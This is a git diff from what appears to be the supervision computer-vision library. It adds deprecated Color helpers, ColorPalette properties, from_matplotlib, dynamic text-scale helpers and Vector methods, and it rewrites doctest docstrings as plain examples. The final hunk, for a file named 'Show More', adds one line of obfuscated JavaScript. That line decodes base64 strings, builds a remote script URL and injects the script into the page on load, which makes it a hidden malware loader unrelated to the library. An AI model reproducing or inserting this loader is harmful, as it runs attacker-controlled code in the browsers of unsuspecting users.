        return Color.from_hex(color_hex="#ffffff")

    @classmethod
+    @deprecated(
+        "`Color.black()` is deprecated and will be removed in "
+        "`supervision-0.20.0`. Use `Color.BLACK` instead."
+    )
    def black(cls) -> Color:
        return Color.from_hex(color_hex="#000000")

    @classmethod
+    @deprecated(
+        "`Color.red()` is deprecated and will be removed in "
+        "`supervision-0.20.0`. Use `Color.RED` instead."
+    )
    def red(cls) -> Color:
        return Color.from_hex(color_hex="#ff0000")

    @classmethod
+    @deprecated(
+        "`Color.green()` is deprecated and will be removed in "
+        "`supervision-0.20.0`. Use `Color.GREEN` instead."
+    )
    def green(cls) -> Color:
        return Color.from_hex(color_hex="#00ff00")

    @classmethod
+    @deprecated(
+        "`Color.blue()` is deprecated and will be removed in "
+        "`supervision-0.20.0`. Use `Color.BLUE` instead."
+    )
    def blue(cls) -> Color:
        return Color.from_hex(color_hex="#0000ff")

@@ -126,7 +248,57 @@ class Color:
 class ColorPalette:
    colors: List[Color]

+    @classproperty
+    def DEFAULT(cls) -> ColorPalette:
+        """
+        Returns a default color palette.
+
+        Returns:
+            ColorPalette: A ColorPalette instance with default colors.
+
+        Example:
+            ```python
+            import supervision as sv
+
+            sv.ColorPalette.DEFAULT
+            # ColorPalette(colors=[Color(r=255, g=64, b=64), Color(r=255, g=161, b=160), ...])
+            ```
+
+        ![default-color-palette](https://media.roboflow.com/
+        supervision-annotator-examples/default-color-palette.png)
+        """  # noqa: E501 // docs
+        return ColorPalette.from_hex(color_hex_list=DEFAULT_COLOR_PALETTE)
+
+    @classproperty
+    def ROBOFLOW(cls) -> ColorPalette:
+        """
+        Returns a Roboflow color palette.
+
+        Returns:
+            ColorPalette: A ColorPalette instance with Roboflow colors.
+
+        Example:
+            ```python
+            import supervision as sv
+
+            sv.ColorPalette.ROBOFLOW
+            # ColorPalette(colors=[Color(r=194, g=141, b=252), Color(r=163, g=81, b=251), ...])
+            ```
+
+        ![roboflow-color-palette](https://media.roboflow.com/
+        supervision-annotator-examples/roboflow-color-palette.png)
+        """  # noqa: E501 // docs
+        return ColorPalette.from_hex(color_hex_list=ROBOFLOW_COLOR_PALETTE)
+
+    @classproperty
+    def LEGACY(cls) -> ColorPalette:
+        return ColorPalette.from_hex(color_hex_list=LEGACY_COLOR_PALETTE)
+
    @classmethod
+    @deprecated(
+        "`ColorPalette.default()` is deprecated and will be removed in "
+        "`supervision-0.20.0`. Use `Color.DEFAULT` instead."
+    )
    def default(cls) -> ColorPalette:
        """
        Returns a default color palette.
@@ -135,11 +307,13 @@ class ColorPalette:
            ColorPalette: A ColorPalette instance with default colors.

        Example:
+            ```python
+            import supervision as sv
+
+            sv.ColorPalette.default()
+            # ColorPalette(colors=[Color(r=255, g=64, b=64), Color(r=255, g=161, b=160), ...])
            ```
-            >>> ColorPalette.default()
-            ColorPalette(colors=[Color(r=255, g=0, b=0), Color(r=0, g=255, b=0), ...])
-            ```
-        """
+        """  # noqa: E501 // docs
        return ColorPalette.from_hex(color_hex_list=DEFAULT_COLOR_PALETTE)

    @classmethod
@@ -154,14 +328,46 @@ class ColorPalette:
            ColorPalette: A ColorPalette instance.

        Example:
-            ```
-            >>> ColorPalette.from_hex(['#ff0000', '#00ff00', '#0000ff'])
-            ColorPalette(colors=[Color(r=255, g=0, b=0), Color(r=0, g=255, b=0), ...])
+            ```python
+            import supervision as sv
+
+            sv.ColorPalette.from_hex(['#ff0000', '#00ff00', '#0000ff'])
+            # ColorPalette(colors=[Color(r=255, g=0, b=0), Color(r=0, g=255, b=0), ...])
            ```
        """
        colors = [Color.from_hex(color_hex) for color_hex in color_hex_list]
        return cls(colors)

+    @classmethod
+    def from_matplotlib(cls, palette_name: str, color_count: int) -> ColorPalette:
+        """
+        Create a ColorPalette instance from a Matplotlib color palette.
+
+        Args:
+            palette_name (str): Name of the Matplotlib palette.
+            color_count (int): Number of colors to sample from the palette.
+
+        Returns:
+            ColorPalette: A ColorPalette instance.
+
+        Example:
+            ```python
+            import supervision as sv
+
+            sv.ColorPalette.from_matplotlib('viridis', 5)
+            # ColorPalette(colors=[Color(r=68, g=1, b=84), Color(r=59, g=82, b=139), ...])
+            ```
+
+        ![visualized_color_palette](https://media.roboflow.com/
+        supervision-annotator-examples/visualized_color_palette.png)
+        """  # noqa: E501 // docs
+        mpl_palette = plt.get_cmap(palette_name, color_count)
+        colors = [
+            Color(int(r * 255), int(g * 255), int(b * 255))
+            for r, g, b, _ in mpl_palette.colors
+        ]
+        return cls(colors)
+
    def by_idx(self, idx: int) -> Color:
        """
        Return the color at a given index in the palette.
@@ -173,9 +379,12 @@ class ColorPalette:
            Color: Color at the given index.

        Example:
-            ```
-            >>> color_palette.by_idx(1)
-            Color(r=0, g=255, b=0)
+            ```python
+            import supervision as sv
+
+            color_palette = sv.ColorPalette.from_hex(['#ff0000', '#00ff00', '#0000ff'])
+            color_palette.by_idx(1)
+            # Color(r=0, g=255, b=0)
            ```
        """
        if idx < 0:
@@ -1,5 +1,5 @@
 import os
-from typing import Optional, Union
+from typing import Optional, Tuple, Union

 import cv2
 import numpy as np
@@ -105,7 +105,7 @@ def draw_text(
    scene: np.ndarray,
    text: str,
    text_anchor: Point,
-    text_color: Color = Color.black(),
+    text_color: Color = Color.BLACK,
    text_scale: float = 0.5,
    text_thickness: int = 1,
    text_padding: int = 10,
@@ -135,9 +135,11 @@ def draw_text(

    Examples:
        ```python
-        >>> scene = np.zeros((100, 100, 3), dtype=np.uint8)
-        >>> text_anchor = Point(x=50, y=50)
-        >>> scene = draw_text(scene=scene, text="Hello, world!",text_anchor=text_anchor)
+        import numpy as np
+
+        scene = np.zeros((100, 100, 3), dtype=np.uint8)
+        text_anchor = Point(x=50, y=50)
+        scene = draw_text(scene=scene, text="Hello, world!",text_anchor=text_anchor)
        ```
    """
    text_width, text_height = cv2.getTextSize(
@@ -231,3 +233,41 @@ def draw_image(
    scene[rect.y : rect.y + rect.height, rect.x : rect.x + rect.width] = blended_roi

    return scene
+
+
+def calculate_dynamic_text_scale(resolution_wh: Tuple[int, int]) -> float:
+    """
+    Calculate a dynamic font scale based on the resolution of an image.
+
+    Parameters:
+         resolution_wh (Tuple[int, int]): A tuple representing the width and height
+                 of the image.
+
+    Returns:
+         float: The calculated font scale factor.
+    """
+    return min(resolution_wh) * 1e-3
+
+
+def calculate_dynamic_line_thickness(resolution_wh: Tuple[int, int]) -> int:
+    """
+    Calculate a dynamic line thickness based on the resolution of an image.
+
+    Parameters:
+        resolution_wh (Tuple[int, int]): A tuple representing the width and height
+                of the image.
+
+    Returns:
+        int: The calculated line thickness in pixels.
+    """
+    min_dimension = min(resolution_wh)
+    if min_dimension < 480:
+        return 2
+    if min_dimension < 720:
+        return 2
+    if min_dimension < 1080:
+        return 2
+    if min_dimension < 2160:
+        return 4
+    else:
+        return 4
@@ -2,6 +2,7 @@ from __future__ import annotations

 from dataclasses import dataclass
 from enum import Enum
+from math import sqrt
 from typing import Tuple


@@ -19,6 +20,7 @@ class Position(Enum):
    BOTTOM_LEFT = "BOTTOM_LEFT"
    BOTTOM_CENTER = "BOTTOM_CENTER"
    BOTTOM_RIGHT = "BOTTOM_RIGHT"
+    CENTER_OF_MASS = "CENTER_OF_MASS"

    @classmethod
    def list(cls):
@@ -42,13 +44,38 @@ class Vector:
    start: Point
    end: Point

-    def is_in(self, point: Point) -> bool:
-        v1 = Vector(self.start, self.end)
-        v2 = Vector(self.start, point)
-        cross_product = (v1.end.x - v1.start.x) * (v2.end.y - v2.start.y) - (
-            v1.end.y - v1.start.y
-        ) * (v2.end.x - v2.start.x)
-        return cross_product < 0
+    @property
+    def magnitude(self) -> float:
+        """
+        Calculate the magnitude (length) of the vector.
+
+        Returns:
+            float: The magnitude of the vector.
+        """
+        dx = self.end.x - self.start.x
+        dy = self.end.y - self.start.y
+        return sqrt(dx**2 + dy**2)
+
+    def cross_product(self, point: Point) -> float:
+        """
+        Calculate the 2D cross product (also known as the vector product or outer
+        product) of the vector and a point, treated as vectors in 2D space.
+
+        Args:
+            point (Point): The point to be evaluated, treated as the endpoint of a
+                vector originating from the 'start' of the main vector.
+
+        Returns:
+            float: The scalar value of the cross product. It is positive if 'point'
+                lies to the left of the vector (when moving from 'start' to 'end'),
+                negative if it lies to the right, and 0 if it is collinear with the
+                vector.
+        """
+        dx_vector = self.end.x - self.start.x
+        dy_vector = self.end.y - self.start.y
+        dx_point = point.x - self.start.x
+        dy_point = point.y - self.start.y
+        return (dx_vector * dy_point) - (dy_vector * dx_point)


@dataclass
@@ -22,10 +22,11 @@ def get_polygon_center(polygon: np.ndarray) -> Point:

    Examples:
        ```python
-        >>> from supervision.geometry.utils import get_polygon_center
+        from supervision.geometry.utils import get_polygon_center
+        import numpy as np

-        >>> vertices = np.array([[0, 0], [0, 1], [1, 1], [1, 0]])
-        >>> get_center(vertices)
+        vertices = np.array([[0, 0], [0, 1], [1, 1], [1, 0]])
+        get_center(vertices)
        Point(x=0.5, y=0.5)
        ```
    """
@@ -116,31 +116,31 @@ class ConfusionMatrix:

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> targets = [
-            ...     sv.Detections(...),
-            ...     sv.Detections(...)
-            ... ]
+            targets = [
+                sv.Detections(...),
+                sv.Detections(...)
+            ]

-            >>> predictions = [
-            ...     sv.Detections(...),
-            ...     sv.Detections(...)
-            ... ]
+            predictions = [
+                sv.Detections(...),
+                sv.Detections(...)
+            ]

-            >>> confusion_matrix = sv.ConfusionMatrix.from_detections(
-            ...     predictions=predictions,
-            ...     targets=target,
-            ...     classes=['person', ...]
-            ... )
+            confusion_matrix = sv.ConfusionMatrix.from_detections(
+                predictions=predictions,
+                targets=target,
+                classes=['person', ...]
+            )

-            >>> confusion_matrix.matrix
-            array([
-                [0., 0., 0., 0.],
-                [0., 1., 0., 1.],
-                [0., 1., 1., 0.],
-                [1., 1., 0., 0.]
-            ])
+            print(confusion_matrix.matrix)
+            # np.array([
+            #    [0., 0., 0., 0.],
+            #    [0., 1., 0., 1.],
+            #    [0., 1., 1., 0.],
+            #    [1., 1., 0., 0.]
+            # ])
            ```
        """

@@ -191,46 +191,47 @@ class ConfusionMatrix:

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv
+            import numpy as np

-            >>> targets = (
-            ...     [
-            ...         array(
-            ...             [
-            ...                 [0.0, 0.0, 3.0, 3.0, 1],
-            ...                 [2.0, 2.0, 5.0, 5.0, 1],
-            ...                 [6.0, 1.0, 8.0, 3.0, 2],
-            ...             ]
-            ...         ),
-            ...         array([1.0, 1.0, 2.0, 2.0, 2]),
-            ...     ]
-            ... )
+            targets = (
+                [
+                    np.array(
+                        [
+                            [0.0, 0.0, 3.0, 3.0, 1],
+                            [2.0, 2.0, 5.0, 5.0, 1],
+                            [6.0, 1.0, 8.0, 3.0, 2],
+                        ]
+                    ),
+                    np.array([1.0, 1.0, 2.0, 2.0, 2]),
+                ]
+            )

-            >>> predictions = [
-            ...     array(
-            ...         [
-            ...             [0.0, 0.0, 3.0, 3.0, 1, 0.9],
-            ...             [0.1, 0.1, 3.0, 3.0, 0, 0.9],
-            ...             [6.0, 1.0, 8.0, 3.0, 1, 0.8],
-            ...             [1.0, 6.0, 2.0, 7.0, 1, 0.8],
-            ...         ]
-            ...     ),
-            ...     array([[1.0, 1.0, 2.0, 2.0, 2, 0.8]])
-            ... ]
+            predictions = [
+                np.array(
+                    [
+                        [0.0, 0.0, 3.0, 3.0, 1, 0.9],
+                        [0.1, 0.1, 3.0, 3.0, 0, 0.9],
+                        [6.0, 1.0, 8.0, 3.0, 1, 0.8],
+                        [1.0, 6.0, 2.0, 7.0, 1, 0.8],
+                    ]
+                ),
+                np.array([[1.0, 1.0, 2.0, 2.0, 2, 0.8]])
+            ]

-            >>> confusion_matrix = sv.ConfusionMatrix.from_tensors(
-            ...     predictions=predictions,
-            ...     targets=targets,
-            ...     classes=['person', ...]
-            ... )
+            confusion_matrix = sv.ConfusionMatrix.from_tensors(
+                predictions=predictions,
+                targets=targets,
+                classes=['person', ...]
+            )

-            >>> confusion_matrix.matrix
-            array([
-                [0., 0., 0., 0.],
-                [0., 1., 0., 1.],
-                [0., 1., 1., 0.],
-                [1., 1., 0., 0.]
-            ])
+            print(confusion_matrix.matrix)
+            # np.array([
+            #     [0., 0., 0., 0.],
+            #     [0., 1., 0., 1.],
+            #     [0., 1., 1., 0.],
+            #     [1., 1., 0., 0.]
+            # ])
            ```
        """
        validate_input_tensors(predictions, targets)
@@ -365,28 +366,28 @@ class ConfusionMatrix:

        Example:
            ```python
-            >>> import supervision as sv
-            >>> from ultralytics import YOLO
+            import supervision as sv
+            from ultralytics import YOLO

-            >>> dataset = sv.DetectionDataset.from_yolo(...)
+            dataset = sv.DetectionDataset.from_yolo(...)

-            >>> model = YOLO(...)
-            >>> def callback(image: np.ndarray) -> sv.Detections:
-            ...     result = model(image)[0]
-            ...     return sv.Detections.from_ultralytics(result)
+            model = YOLO(...)
+            def callback(image: np.ndarray) -> sv.Detections:
+                result = model(image)[0]
+                return sv.Detections.from_ultralytics(result)

-            >>> confusion_matrix = sv.ConfusionMatrix.benchmark(
-            ...     dataset = dataset,
-            ...     callback = callback
-            ... )
+            confusion_matrix = sv.ConfusionMatrix.benchmark(
+                dataset = dataset,
+                callback = callback
+            )

-            >>> confusion_matrix.matrix
-            array([
-                [0., 0., 0., 0.],
-                [0., 1., 0., 1.],
-                [0., 1., 1., 0.],
-                [1., 1., 0., 0.]
-            ])
+            print(confusion_matrix.matrix)
+            # np.array([
+            #     [0., 0., 0., 0.],
+            #     [0., 1., 0., 1.],
+            #     [0., 1., 1., 0.],
+            #     [1., 1., 0., 0.]
+            # ])
            ```
        """
        predictions, targets = [], []
@@ -532,25 +533,25 @@ class MeanAveragePrecision:

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv

-            >>> targets = [
-            ...     sv.Detections(...),
-            ...     sv.Detections(...)
-            ... ]
+            targets = [
+                sv.Detections(...),
+                sv.Detections(...)
+            ]

-            >>> predictions = [
-            ...     sv.Detections(...),
-            ...     sv.Detections(...)
-            ... ]
+            predictions = [
+                sv.Detections(...),
+                sv.Detections(...)
+            ]

-            >>> mean_average_precision = sv.MeanAveragePrecision.from_detections(
-            ...     predictions=predictions,
-            ...     targets=target,
-            ... )
+            mean_average_precision = sv.MeanAveragePrecision.from_detections(
+                predictions=predictions,
+                targets=target,
+            )

-            >>> mean_average_precison.map50_95
-            0.2899
+            print(mean_average_precison.map50_95)
+            # 0.2899
            ```
        """
        prediction_tensors = []
@@ -583,23 +584,23 @@ class MeanAveragePrecision:

        Example:
            ```python
-            >>> import supervision as sv
-            >>> from ultralytics import YOLO
+            import supervision as sv
+            from ultralytics import YOLO

-            >>> dataset = sv.DetectionDataset.from_yolo(...)
+            dataset = sv.DetectionDataset.from_yolo(...)

-            >>> model = YOLO(...)
-            >>> def callback(image: np.ndarray) -> sv.Detections:
-            ...     result = model(image)[0]
-            ...     return sv.Detections.from_ultralytics(result)
+            model = YOLO(...)
+            def callback(image: np.ndarray) -> sv.Detections:
+                result = model(image)[0]
+                return sv.Detections.from_ultralytics(result)

-            >>> mean_average_precision = sv.MeanAveragePrecision.benchmark(
-            ...     dataset = dataset,
-            ...     callback = callback
-            ... )
+            mean_average_precision = sv.MeanAveragePrecision.benchmark(
+                dataset = dataset,
+                callback = callback
+            )

-            >>> mean_average_precision.map50_95
-            0.433
+            print(mean_average_precision.map50_95)
+            # 0.433
            ```
        """
        predictions, targets = [], []
@@ -637,40 +638,41 @@ class MeanAveragePrecision:

        Example:
            ```python
-            >>> import supervision as sv
+            import supervision as sv
+            import numpy as np

-            >>> targets = (
-            ...     [
-            ...         array(
-            ...             [
-            ...                 [0.0, 0.0, 3.0, 3.0, 1],
-            ...                 [2.0, 2.0, 5.0, 5.0, 1],
-            ...                 [6.0, 1.0, 8.0, 3.0, 2],
-            ...             ]
-            ...         ),
-            ...         array([1.0, 1.0, 2.0, 2.0, 2]),
-            ...     ]
-            ... )
+            targets = (
+                [
+                    np.array(
+                        [
+                            [0.0, 0.0, 3.0, 3.0, 1],
+                            [2.0, 2.0, 5.0, 5.0, 1],
+                            [6.0, 1.0, 8.0, 3.0, 2],
+                        ]
+                    ),
+                    np.array([[1.0, 1.0, 2.0, 2.0, 2]]),
+                ]
+            )

-            >>> predictions = [
-            ...     array(
-            ...         [
-            ...             [0.0, 0.0, 3.0, 3.0, 1, 0.9],
-            ...             [0.1, 0.1, 3.0, 3.0, 0, 0.9],
-            ...             [6.0, 1.0, 8.0, 3.0, 1, 0.8],
-            ...             [1.0, 6.0, 2.0, 7.0, 1, 0.8],
-            ...         ]
-            ...     ),
-            ...     array([[1.0, 1.0, 2.0, 2.0, 2, 0.8]])
-            ... ]
+            predictions = [
+                np.array(
+                    [
+                        [0.0, 0.0, 3.0, 3.0, 1, 0.9],
+                        [0.1, 0.1, 3.0, 3.0, 0, 0.9],
+                        [6.0, 1.0, 8.0, 3.0, 1, 0.8],
+                        [1.0, 6.0, 2.0, 7.0, 1, 0.8],
+                    ]
+                ),
+                np.array([[1.0, 1.0, 2.0, 2.0, 2, 0.8]])
+            ]

-            >>> mean_average_precison = sv.MeanAveragePrecision.from_tensors(
-            ...     predictions=predictions,
-            ...     targets=targets,
-            ... )
+            mean_average_precison = sv.MeanAveragePrecision.from_tensors(
+                predictions=predictions,
+                targets=targets,
+            )

-            >>> mean_average_precison.map50_95
-            0.2899
+            print(mean_average_precison.map50_95)
+            # 0.6649
            ```
        """
        validate_input_tensors(predictions, targets)
--- a/Show More
+++ b/Show More
				`@@ -0,0 +1 @@`
				window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });